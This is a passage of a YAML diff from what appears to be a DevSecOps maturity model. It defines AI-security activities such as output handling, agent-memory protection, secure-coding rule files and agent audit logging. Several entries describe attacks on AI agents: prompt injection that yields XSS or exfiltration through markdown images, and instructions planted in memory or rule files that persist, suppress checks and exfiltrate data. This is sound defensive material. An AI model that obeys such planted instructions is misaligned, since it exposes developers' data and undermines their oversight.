any click. So block or proxy external images and + restrict link/image URLs to trusted domains. + - **Tool/function calls**: enforce a JSON schema on structured + output, validate tool-call arguments against allow-lists and + require human confirmation for sensitive calls. + + Whether the content of a response is factually correct is a separate + concern, see _Hallucination detection for AI responses_. + risk: |- + An attacker uses prompt injection to make the model emit malicious output, + which the application then executes or renders: cross-site scripting, + command or SQL injection, or unauthorized high-privilege tool calls. + measure: |- + Treat model responses as untrusted data and apply the existing activity + [Context-aware output encoding](/activity-description?uuid=e1f37abb-d848-4a3a-b3df-65e91a89dcb7) to them at every sink (browser, shell, + SQL, downstream systems). Add the AI-specific controls on top: strict + markdown rendering, schema enforcement for tool calls and output + guardrails. + dependsOn: + - 0012e51c-a068-4549-a4d5-d1957b52676f # Input validation for AI systems + - e1f37abb-d848-4a3a-b3df-65e91a89dcb7 # Context-aware output encoding + assessment: | + - Show the rendering pipeline for model output (markdown renderer settings, sanitizer configuration, Content Security Policy). + - Show the schema validation for structured output and the confirmation step for sensitive tool calls. + - Demonstrate with a test that injected markup and markdown-based exfiltration (external images/links) are neutralized. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 5 + level: 4 + tags: + - ai + - data-protection + - input-validation + implementation: + - uuid: fd952d90-dec8-4bbd-848d-9203b33c35d8 + name: 'OWASP AISVS C07: Model Behavior, Output Control and Safety Assurance' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C07-Model-Behavior.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C07: Model Behavior, Output Control and Safety Assurance. + - uuid: 13aceaa9-f772-48e6-9134-d9c45650160d + name: OWASP Top 10 for Large Language Model Applications + tags: + - ai + - documentation + - threat + url: https://owasp.org/www-project-top-10-for-large-language-model-applications/ + description: |- + A list of the most critical vulnerabilities of LLM-based applications, e.g. + prompt injection, insecure output handling and excessive agency. A good + baseline for manual AI red teaming. + - uuid: 504b5f6c-74e6-4ea7-9480-537284c00b57 + name: Guardrails AI + tags: + - ai + - guardrails + - output-validation + url: https://github.com/guardrails-ai/guardrails + description: |- + Open-source framework that validates LLM output against schemas and + validators (e.g. no secrets/PII, valid JSON, policy compliance) and + triggers re-asks or corrective actions on violations. + - uuid: 9b4ca932-004e-4e1f-8589-770393765bd3 + name: NVIDIA NeMo Guardrails + tags: + - ai + - guardrails + - input-validation + url: https://github.com/NVIDIA/NeMo-Guardrails + description: |- + Open-source toolkit for programmable guardrails on LLM applications: + input/output rails for prompt injection and jailbreak detection, topic + restrictions and policy enforcement around model calls. + - uuid: beeac1bd-49dd-43c8-b606-cdb9fa9cf5bc + name: DOMPurify + tags: + - xss + - sanitizer + - library + url: https://github.com/cure53/DOMPurify + description: |- + Allow-list based HTML sanitizer for the browser. Used to sanitize + rendered markdown (e.g. LLM responses in chat UIs) before insertion + into the DOM. + - uuid: 1c3f2f7a-5031-4687-9d69-76c5178c74e1 + name: OWASP Cheatsheet Series + tags: + - training + - secure coding + url: https://cheatsheetseries.owasp.org/ + - uuid: 672695ce-e62d-4283-8676-ea630f544709 + name: OWASP AI Exchange + tags: + - ai + - documentation + - threat + url: https://owaspai.org/ + description: |- + Comprehensive open-source guidance on AI security: a threat matrix + across the lifecycle (development-time, runtime model use, runtime + infrastructure, supply chain) with matching controls for governance, + input and output handling, monitoring, rate limiting and model + robustness, plus chapters on AI security testing and AI privacy. + Feeds international standardization (ISO/IEC 27090). + references: + samm2: + - D-SR-A-2 + iso27001-2017: + - 14.2.5 + iso27001-2022: + - 8.27 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Data%20Protection/subsection/Secure%20output%20handling%20in%20AI%20applications + comments: "" + Protection of agent memory against poisoning: + uuid: 106622af-8969-4d9b-81ad-86d8e2bfd631 + description: |- + Unlike one-time prompt injection, memory poisoning persists: AI agents + retain context across sessions in rule files (e.g. CLAUDE.md, AGENTS.md), + memory directories, conversation summaries and retrieval-augmented + generation (RAG) knowledge/vector stores. Content + an attacker smuggles into this persistent state (via issues, code + comments, documents or web content the agent processes) corrupts every + future session and can spread to all developers through version control. + risk: |- + An attacker manipulates the agent into persisting malicious instructions + into its memory or shared rule files. The backdoor survives session + restarts, biases future reasoning and tool use (e.g. suppressing security + checks, exfiltrating data) and propagates across the team via the + repository or shared knowledge bases. + measure: |- + Treat writes to agent memory and rule files like code changes: keep them + under version control and human review, restrict write access to shared + rule files and knowledge/vector stores, validate the provenance of + ingested knowledge and periodically review or reset persistent memory. + Apply retention limits (time-to-live) so that unverified memory, + especially content derived from external inputs or tool outputs, + expires instead of persisting indefinitely. Version memory stores so + that detected poisoning can be answered by rolling back to a + known-good state instead of purging everything. Segment memory by + user and session and keep credentials and other secrets out of it: + cached secrets in shared memory let a later session act with the + permissions of an earlier one (OWASP Top 10 for Agentic + Applications, ASI03). Do not re-ingest the agent's own outputs into + trusted memory automatically, as this self-reinforces errors and + planted instructions ("bootstrap poisoning", ASI06). + dependsOn: + - 0012e51c-a068-4549-a4d5-d1957b52676f # Input validation for AI systems + assessment: | + - Show that agent rule files and memory are under version control and require review on change. + - Show the write-access restrictions on shared rule files and knowledge/vector stores. + - Show the last review or reset of persistent agent memory. + - Show the retention limits for unverified memory and demonstrate a rollback of a memory store to a known-good state. + - Show the memory segmentation between users and sessions and the rule that keeps credentials out of agent memory. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 4 + level: 5 + tags: + - ai + - data-protection + implementation: + - uuid: c4f17d85-4e64-45d9-93aa-59fbef85f8d6 + name: 'AI Coding Agent CLI design: Permissions & Sandboxed Execution' + tags: + - ai + - isolation + - permissions + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/safety + description: |- + System-design walkthrough of an AI coding agent CLI (Claude Code / Codex): + permission engine with blast-radius split, allow/deny rules, OS-level + sandbox with default-deny egress, and treating repo content (including + agent memory files) as untrusted data. + - uuid: e72ce764-f9d1-401f-9a5e-2897314e4083 + name: 'OWASP AISVS C08: Memory, Embeddings and Vector Database Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C08-Memory-Embeddings-and-Vector-Database.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C08: Memory, Embeddings and Vector Database Security. + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + - uuid: 7c0749f8-080d-46cf-a8bb-4c2f8a2c25f2 + name: Zero Trust for AI Agents + tags: + - ai + - documentation + url: https://claude.com/blog/zero-trust-for-ai-agents + description: |- + Free eBook by Anthropic applying Zero Trust principles (never trust, + always verify; assume breach; least privilege and least agency) to + agentic AI deployments: current threats to agentic systems, three + capability tiers for agent identity, access control, observability, + behavioral monitoring, input and output controls and recovery, an + eight-phase implementation workflow and defensive operations at the + speed of autonomous threats. Introduces the design test "does this + control make the attack impossible, or just tedious?". + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 12.1.2 + iso27001-2022: + - 8.9 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Data%20Protection/subsection/Protection%20of%20agent%20memory%20against%20poisoning + comments: "" + Guidance: + Static load of security rules: + uuid: 51ebc877-c4fd-4b50-9305-320152242ddf + description: |- + AI coding assistants follow instructions provided in rule files + (e.g. system prompts, repository instruction files such as CLAUDE.md, + AGENTS.md or .github/copilot-instructions.md). Providing an organization-wide + baseline of secure coding rules steers generated code towards secure defaults. + + Adding a few rules to automated imported files like `CLAUDE.md` works. This might blow up the context. + risk: |- + Without explicit secure coding instructions, AI assistants reproduce insecure + patterns from their training data, e.g. string-concatenated SQL queries, + disabled certificate validation, hardcoded secrets or missing input validation. + measure: |- + Define and roll out a baseline secure coding rule set for AI assistants + covering topics like input validation, output encoding, parameterized queries, + secret handling and usage of evaluated components (e.g. images, libraries). + assessment: "- Show the secure coding rule set for AI assistants.\n- Show a + sample of project that the rules are loaded automatically (e.g. via `CLAUDE.md`). + \ \n" + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 1 + tags: + - ai + - guidance + implementation: + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: 5b84d64a-a590-4684-8e33-3c5f1b198260 + name: Secure Code Warrior AI Security Rules + tags: + - ai + - guidance + - documentation + url: https://github.com/SecureCodeWarrior/ai-security-rules + description: |- + Ready-to-use security rule sets for AI coding assistants (e.g. Cursor, + GitHub Copilot, Claude, Windsurf, Aider), covering general and + language/framework-specific secure coding guidance. + - uuid: 1e2ce094-e358-47a4-a469-11e0dd8bef26 + name: Wiz Secure Rules Files + tags: + - ai + - guidance + - documentation + url: https://github.com/wiz-sec-public/secure-rules-files + description: |- + Curated secure-coding rules files for AI coding assistants (e.g. Cursor, + GitHub Copilot, Claude Code) per language, maintained by Wiz Research. + - uuid: 6d2ae0e3-c1f3-4a5a-9bf9-9efd68cc64b3 + name: OpenSSF Security-Focused Guide for AI Code Assistant Instructions + tags: + - ai + - guidance + - documentation + url: https://best.openssf.org/Security-Focused-Guide-for-AI-Code-Assistant-Instructions.html + description: |- + OpenSSF Best Practices guide on writing security-focused instruction + files for AI code assistants (e.g. CLAUDE.md, AGENTS.md, + copilot-instructions.md), including concrete secure-coding rule + examples to include in an organization-wide baseline. + - uuid: e883179f-888c-4b75-a2da-a7ea46f88b78 + name: TikiTribe Claude Secure Coding Rules + tags: + - ai + - guidance + - documentation + url: https://github.com/TikiTribe/claude-secure-coding-rules + description: |- + Community-maintained secure-coding rule set for Claude Code and other + AI coding assistants, with general and language/framework-specific + rules ready to be imported into repository instruction files. + references: + samm2: + - G-EG-A-1 + iso27001-2017: + - 14.2.1 + iso27001-2022: + - 8.28 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Static%20load%20of%20security%20rules + comments: "" + AI usage policy: + uuid: a511a9a9-1b75-4dfd-8a4f-e516e8096150 + description: |- + An AI usage policy defines which AI tools and models are approved, for which + tasks they may be used, which data may be shared with them and how + AI-generated output has to be handled (e.g. mandatory review). + risk: |- + Without a policy, employees use arbitrary AI tools ("shadow AI") with unknown + data handling, share confidential information with them and ship unreviewed + AI-generated code. + measure: |- + Define, communicate and enforce a policy for the usage of AI tools during + development, including an approval process for new tools and models. + assessment: | + - Show the published AI usage policy including approved tools, allowed data classes and handling rules for AI-generated output. + - Show the approval process for new tools and models with a recent example. + - Show how the policy is communicated to employees (e.g. onboarding, training). + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 3 + level: 2 + tags: + - ai + - guidance + implementation: + - uuid: 66f319f1-bcff-4d1e-8d65-4cb2939dfc06 + name: NIST SP 800-218A (SSDF Community Profile for Generative AI) + tags: + - ai + - documentation + - compliance + url: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-218A.pdf + description: |- + NIST's Secure Software Development Framework profile for generative AI + and dual-use foundation models: SSDF practices augmented with AI-specific + tasks and recommendations across the development lifecycle. Useful + compliance anchor for an organizational AI usage policy. + - uuid: d59c5afa-7af6-46c6-b78e-7e0e4e5a47ae + name: Google Secure AI Framework (SAIF) + tags: + - ai + - documentation + - threat + - framework + url: https://saif.google/ + description: |- + Google's framework for secure AI systems. SAIF 2.0 adds an agent security + map that decomposes an agent into components (perception, reasoning, + orchestration, response) with risks and controls per node, naming + agent-specific risks such as rogue actions and sensitive data disclosure; + risk data donated to the Coalition for Secure AI. + - uuid: dc09e3c6-30af-4acc-8b8d-297078ce4298 + name: 'OWASP AISVS C06: Supply Chain Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C06-Supply-Chain.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C06: Supply Chain Security. + - uuid: e1611a8a-4e7d-439a-b9fc-992674c02d53 + name: EU AI Act + tags: + - ai + - documentation + - compliance + url: https://artificialintelligenceact.eu/ + description: |- + European regulation for AI systems with risk-based obligations. Relevant + input for an organizational AI usage policy (risk categorization, + transparency and documentation duties). + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: |- + Maturity model for AI systems (v1.0, August 2025) in the style of the + OWASP Software Assurance Maturity Model (SAMM), with eight domains: + responsible AI, governance, data management, privacy, design, + implementation, verification and operations. Each practice defines + three maturity levels with assessment worksheets, usable to assess + and plan the organizational maturity around the AI activities of this + dimension. + references: + samm2: + - G-PC-A-1 + iso27001-2017: + - 5.1.1 + iso27001-2022: + - 5.1 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/AI%20usage%20policy + comments: "" + Instructed load of security rules: + uuid: 364123db-b41c-431a-94a0-dfd8236b2daa + description: |- + The mapping of security artifacts to development steps is declared in + the AI assistant's repository instruction file (e.g. `CLAUDE.md`, + `AGENTS.md`): the assistant is instructed to read the matching + artifact when a workflow step starts, e.g.: + + ```markdown + ## Workflow rules + - On /speckit.plan: read specs/threat-model.md first. + - On /speckit.implement: read docs/secure-coding-rules.md first. + ``` + + Since the instruction file is loaded at session start, only the small + step-to-artifact mapping is permanently in context; the artifacts + themselves are loaded by the model on demand at the step where they + are effective. This works across tools that read instruction files + and requires no additional tooling. + + The approach is probabilistic: following the instruction is up to the + model and can fail in long sessions, after context compaction or when + many instructions compete. Deterministic, tool-enforced loading of + the same mapping is covered by _Dynamic load of security rules_. + risk: |- + Security artifacts exist, but nothing tells the AI assistant when to + load which artifact. Guidance is either loaded all at once and + diluted, or missing at the step where it is needed, so generated + plans and code silently drop security requirements. + measure: |- + Declare in the repository instruction file which security artifact + the AI assistant reads at which workflow step (e.g. threat model + during planning, secure coding rules during implementation) and + verify in sample sessions that the artifacts are actually loaded. + dependsOn: + - 51ebc877-c4fd-4b50-9305-320152242ddf # Static load of security rules + - 923a2a23-d63b-421c-926a-191d1dd5f570 # Spec-driven development + assessment: | + - Show the step-to-artifact mapping in the instruction file. + - Show a session where the assistant loads the matching security artifact when a workflow step is invoked. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - guidance + implementation: + - uuid: 6d2ae0e3-c1f3-4a5a-9bf9-9efd68cc64b3 + name: OpenSSF Security-Focused Guide for AI Code Assistant Instructions + tags: + - ai + - guidance + - documentation + url: https://best.openssf.org/Security-Focused-Guide-for-AI-Code-Assistant-Instructions.html + description: |- + OpenSSF Best Practices guide on writing security-focused instruction + files for AI code assistants (e.g. CLAUDE.md, AGENTS.md, + copilot-instructions.md), including concrete secure-coding rule + examples to include in an organization-wide baseline. + - uuid: 71db66a9-8b71-48e4-9b96-1695ed1062a2 + name: GitHub Spec Kit + tags: + - ai + - guidance + - framework + url: https://github.com/github/spec-kit + description: |- + Toolkit for spec-driven development with AI coding assistants: work is + split into explicit specify, plan, tasks and implement steps, each with + its own instructions loaded into the model context. + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + references: + samm2: + - D-SR-A-2 + iso27001-2017: + - 14.2.1 + iso27001-2022: + - 8.28 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Instructed%20load%20of%20security%20rules + comments: "" + Inventory of AI agents: + uuid: c1f02ad7-e97e-4c87-b827-7542793ddb0a + description: |- + Classic IAM was built for humans; AI agents multiply faster than any + human workforce and are easy to spin up unnoticed. An inventory records + every AI agent and assistant in use (its identity, owner, purpose, + permissions and connected systems) and is the precondition for + governing them. + risk: |- + "Shadow agents" run without anyone being accountable: agents started by + individual developers or teams keep credentials and access long after + their purpose ended, and nobody can answer which agents exist, what they + may do and who owns them. This makes incident response and offboarding + impossible. + measure: |- + Maintain an inventory of all AI agents and assistants: identity/service + account, human owner, purpose, granted permissions and connected + systems. Review it periodically, decommission stale agents and detect + unregistered ones (e.g. via identity provider and audit log analysis). + dependsOn: + - a511a9a9-1b75-4dfd-8a4f-e516e8096150 # AI usage policy + assessment: | + - Show the inventory of AI agents with identity, human owner, purpose and granted permissions. + - Show the last periodic review and an example of a decommissioned agent. + - Explain how unregistered ("shadow") agents are detected, e.g. via identity provider or audit log analysis. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - guidance + - inventory + implementation: + - uuid: 1cd31e8c-63ff-48a5-b973-3048c9664394 + name: AGNTCY Agent Directory + tags: + - ai + - supply-chain + - inventory + - signing + url: https://dir.agntcy.org/latest/ + description: |- + Open-source federated directory (Linux Foundation/AGNTCY) for publishing + and discovering agents, MCP servers and agent skills with cryptographic + signing, verification and provenance of records, usable as a verified + catalog when assessing and inventorying agent integrations. + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: |- + Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for identity, + access and content governance of autonomous AI agents along six axes: + identification (shadow agents), authentication, authorization, + audit/non-repudiation (structured audit log with mandatory fields for + the causal chain, correlation identifiers across multi-agent chains, + tamper evidence via hash chaining and write-once storage), + prompt injection prevention and data flow tracking. The framework is + mapped to EU AI Act, GDPR, ISO 42001/27001 and NIST AI RMF. + - uuid: b38adac8-123b-4183-b2b4-428f43b5d519 + name: 'OWASP AISVS C05: Access Control and Identity' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C05-Access-Control-and-Identity.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C05: Access Control and Identity. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 8.1.1 + iso27001-2022: + - 5.9 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Inventory%20of%20AI%20agents + comments: "" + Language and framework specific security rules: + uuid: ac152a8d-2628-4db1-a7d6-6d75031bb40e + description: |- + Generic secure coding rules do not cover technology-specific pitfalls. + Rule sets tailored to each language and framework in use (e.g. Spring, + Django, React, Kubernetes manifests) make AI-generated code follow the + organization's hardening guidelines for that technology. + risk: |- + AI assistants generate code that is generically "secure" but violates + framework-specific best practices, e.g. disabling CSRF protection in Spring, + unsafe deserialization in Python or dangerouslySetInnerHTML in React, + because no technology-specific guidance is provided. + measure: |- + Create and maintain secure coding rule sets for every language and framework + used in the organization and distribute them to all AI-assisted projects. + Review the rules regularly and after security incidents. + The rules are to be dynamically imported during the correct spec-driven + development phase. + dependsOn: + - 51ebc877-c4fd-4b50-9305-320152242ddf # Static load of security rules + - 923a2a23-d63b-421c-926a-191d1dd5f570 # Spec-driven development + assessment: | + - Show the rule sets for the languages and frameworks. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - guidance + implementation: + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: 5b84d64a-a590-4684-8e33-3c5f1b198260 + name: Secure Code Warrior AI Security Rules + tags: + - ai + - guidance + - documentation + url: https://github.com/SecureCodeWarrior/ai-security-rules + description: |- + Ready-to-use security rule sets for AI coding assistants (e.g. Cursor, + GitHub Copilot, Claude, Windsurf, Aider), covering general and + language/framework-specific secure coding guidance. + - uuid: 1e2ce094-e358-47a4-a469-11e0dd8bef26 + name: Wiz Secure Rules Files + tags: + - ai + - guidance + - documentation + url: https://github.com/wiz-sec-public/secure-rules-files + description: |- + Curated secure-coding rules files for AI coding assistants (e.g. Cursor, + GitHub Copilot, Claude Code) per language, maintained by Wiz Research. + - uuid: 1c3f2f7a-5031-4687-9d69-76c5178c74e1 + name: OWASP Cheatsheet Series + tags: + - training + - secure coding + url: https://cheatsheetseries.owasp.org/ + - uuid: 88767cde-1610-402e-98ec-bc3575377183 + name: OWASP ASVS + tags: [] + url: https://owasp.org/www-project-application-security-verification-standard/ + - uuid: e883179f-888c-4b75-a2da-a7ea46f88b78 + name: TikiTribe Claude Secure Coding Rules + tags: + - ai + - guidance + - documentation + url: https://github.com/TikiTribe/claude-secure-coding-rules + description: |- + Community-maintained secure-coding rule set for Claude Code and other + AI coding assistants, with general and language/framework-specific + rules ready to be imported into repository instruction files. + - uuid: 8b9bbe23-bb52-4360-be6d-e6406e4e5506 + name: Semgrep Skills + tags: + - ai + - guidance + - tool + url: https://github.com/semgrep/skills#available-skills + description: |- + Agent skills by Semgrep that load security guidance and scanning + capabilities into AI coding assistants on demand, including + language- and framework-specific secure-coding skills. + references: + samm2: + - G-EG-A-2 + iso27001-2017: + - 14.2.1 + iso27001-2022: + - 8.28 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Language%20and%20framework%20specific%20security%20rules + comments: "" + Spec-driven development: + uuid: 923a2a23-d63b-421c-926a-191d1dd5f570 + description: "Spec-driven development splits AI-assisted work into explicit + phases\n(e.g. specify, plan, implement, review) with reviewable artifacts + per\nphase, instead of generating code directly from an ad-hoc prompt\n(\"vibe + coding\"). For security this structure is an enabler: requirements (including + security requirements) \nare written down before code exists,\nevery phase + produces an artifact a human can review, and the phases are\nthe anchor points + where security context (rules, threat models,\nchecklists) can be loaded deliberately + (see _Instructed load of\nsecurity rules_)." + risk: |- + AI assistants generate code directly from vague prompts. Requirements + exist only implicitly in the developer's head, security requirements are + never stated, there is no intermediate artifact to review and no defined + step at which security guidance could be applied. Flaws surface only + after the code is written, if at all. + measure: |- + Establish a spec-driven workflow for AI-assisted development: specify + requirements and acceptance criteria first, derive a plan, implement + against the plan and review against the specification. Use tooling that + enforces the phases and keep the phase artifacts (specification, plan) + under version control. + dependsOn: + - 066084c6-1135-4635-9cc5-9e75c7c5459f # Version control + assessment: | + - Show the phase artifacts (specification, plan) of a recent AI-assisted change under version control. + - Demonstrate the tooling that enforces the phases (e.g. a spec-driven workflow tool). + difficultyOfImplementation: + knowledge: 2 + time: 3 + resources: 1 + usefulness: 3 + level: 2 + tags: + - ai + - guidance + implementation: + - uuid: 71db66a9-8b71-48e4-9b96-1695ed1062a2 + name: GitHub Spec Kit + tags: + - ai + - guidance + - framework + url: https://github.com/github/spec-kit + description: |- + Toolkit for spec-driven development with AI coding assistants: work is + split into explicit specify, plan, tasks and implement steps, each with + its own instructions loaded into the model context. + - uuid: 8077812b-e320-4435-9afb-e1e334314abf + name: The New SDLC With Vibe Coding (Google whitepaper) + tags: + - ai + - guidance + - documentation + url: https://addyosmani.com/blog/new-sdlc-vibe-coding/ + description: |- + Google whitepaper (Osmani, Saboo, Kartakis) distinguishing vibe coding + from agentic engineering: specs, guardrails, evals and review as the + "harness" around the model, phase-specific context engineering, evals in + CI, traces of every agent run and scoped per-agent permissions as the + production substrate. + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - 14.2.1 + iso27001-2022: + - 8.25 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Spec-driven%20development + comments: "" + Threat modeling rule: + uuid: 1caad69c-316c-422a-a56b-04ad6f6cc306 + description: |- + Security starts before prompting: features are threat-modeled on a + lightweight level and security requirements are written down as acceptance + criteria in the user story, so they can be passed to the AI assistant as + part of the task instead of being an afterthought. The subject here is + the development process. AI is the tool, and the feature itself need + not involve AI at all. Threat modeling of applications that *contain* + AI components is covered by _Threat modeling of AI components_. + risk: |- + AI assistants implement exactly what they are asked for. If prompts contain + no security requirements, generated features miss authorization checks, + input validation and other controls that were never stated explicitly. + measure: |- + Perform lightweight, feature-level threat modeling before AI-assisted + implementation and add the resulting security requirements as acceptance + criteria to the user story and to the prompt/task given to the AI assistant. + dependsOn: + - 47419324-e263-415b-815d-e7161b6b905e # Conduction of simple threat modeling on technical level + - 923a2a23-d63b-421c-926a-191d1dd5f570 # Spec-driven development + assessment: | + - Show user stories whose security acceptance criteria were passed into the AI task or prompt. + - Show the lightweight threat modeling notes for a recently implemented feature. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - guidance + implementation: + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: fd0f282b-a065-4464-beed-770c604a5f52 + name: Threat Modeling Playbook + tags: + - owasp + - defender + - threat-modeling + - whiteboard + url: https://github.com/Toreon/threat-model-playbook + - uuid: ec8c0aa5-e308-4d86-88ec-987537b7689a + name: tm_skills + tags: + - ai + - threat + - tool + url: https://github.com/izar/tm_skills + description: |- + Open-source (MIT) collection of agent skills for continuous threat + modeling by Izar Tarandach, maintainer of pytm: the skills let AI + coding agents such as Claude Code generate pytm-based threat models + with data flow diagrams from a codebase, evaluate user stories for + security-notable events and suggest mitigations, and provide rapid + security starting points for new systems or features. + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - 14.1.1 + iso27001-2022: + - 8.26 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Threat%20modeling%20rule + comments: "" + Audit logging of AI agent actions: + uuid: 84ba7525-857e-4849-98ba-5fada1a1454d + description: |- + AI agents act autonomously at machine speed and delegate work to other + agents. An audit log for agent actions records the causal chain of + every action: who or what triggered it, which data sources and tools + were used with which parameters, what was produced, which policy + decision allowed it and which human approved it. This keeps every + agent action attributable to a human principal, even across + multi-agent chains. + risk: |- + Agent actions cannot be reconstructed or attributed: when an agent (or + a chain of agents) performs a harmful action, neither the trigger, nor + the decision basis, nor the approval status can be determined. + Incident response, accountability and regulatory evidence (e.g. EU AI + Act logging obligations) fail, and an attacker or insider can modify + local logs unnoticed to cover their tracks. + measure: |- + Log every agent action in a structured audit log covering the causal + chain: initiator, request, used data sources, tool calls with + parameters, generated output, policy decision, delegation context and + human approval. Propagate correlation identifiers across agents and + systems (e.g. via OpenTelemetry traces) so multi-agent chains stay + reconstructable, store the log tamper-evident (e.g. hash chaining, + write-once storage) with a defined retention period, and protect the + log itself: it contains sensitive prompts and outputs, so restrict + access and redact where possible. + dependsOn: + - c1f02ad7-e97e-4c87-b827-7542793ddb0a # Inventory of AI agents + - fe875e17-ae4a-45f8-a359-244aa4fcbc04 # Centralized application logging + assessment: | + - Show the structured audit log entry of a recent agent action including initiator, tool calls with parameters, data sources and (where required) the human approval. + - Demonstrate that a multi-agent chain can be reconstructed end-to-end via correlation identifiers. + - Show the tamper protection (e.g. hash chain verification) and the retention configuration of the audit log. + - Show who has access to the audit log and how sensitive content in it is protected (e.g. redaction). + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 4 + level: 3 + tags: + - ai + - guidance + - logging + implementation: + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: |- + Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for identity, + access and content governance of autonomous AI agents along six axes: + identification (shadow agents), authentication, authorization, + audit/non-repudiation (structured audit log with mandatory fields for + the causal chain, correlation identifiers across multi-agent chains, + tamper evidence via hash chaining and write-once storage), + prompt injection prevention and data flow tracking. The framework is + mapped to EU AI Act, GDPR, ISO 42001/27001 and NIST AI RMF. + - uuid: 181e9b98-7d4f-4fff-9181-9f4c4408022e + name: Anthropic Agent Identity and Access Model + tags: + - ai + - isolation + - permissions + - documentation + url: https://claude.com/blog/agent-identity-access-model + description: |- + Reference architecture for agent identity: agents act under dedicated + workspace-level service accounts instead of user credentials, with scoped + per-channel permissions, credentials injected at the network boundary, + egress blocked to unapproved hosts and every agent action logged under + the agent identity in both platforms' audit logs. + - uuid: b38adac8-123b-4183-b2b4-428f43b5d519 + name: 'OWASP AISVS C05: Access Control and Identity' + tags: + - ai + - documentation + - aisvs + url: 